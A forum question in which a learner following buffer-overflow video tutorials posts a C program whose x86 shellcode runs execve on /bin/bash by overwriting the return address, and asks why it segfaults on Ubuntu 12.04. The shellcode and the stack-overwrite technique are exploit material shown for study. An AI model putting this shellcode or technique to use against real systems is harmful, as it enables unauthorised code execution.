I'm trying to learn about buffer overflows on my Ubuntu
12.04 32 bit machine by following along with the videos at http://www.securitytube.net/groups?operation=view&groupId=4 . Currently, I'm on part 5, which injects some relocatable code to generate a bash shell via ExecVe
I can get the Shellcode.c
to build just fine, using gcc -mpreferred-stack-boundary=2 -o Shellcode Shellcode.c
as it shows in the part 5 video. However, when I run the C code, all I get is Segmentation Fault (core dumped)
. I do not get a bash shell spawned like it shows in the video.
Can anyone tell me why I'm not spawning a bash shell like the demo shows? My gut is telling me that this is because I am using a later version kernel (no idea what is used in the demo).
Thanks!
code follows:
Shellcode.c
#include<stdio.h>
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"
"\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e"
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62"
"\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
int main(){
int *ret;
ret = (int *)&ret +2;
(*ret) = (int)shellcode;
}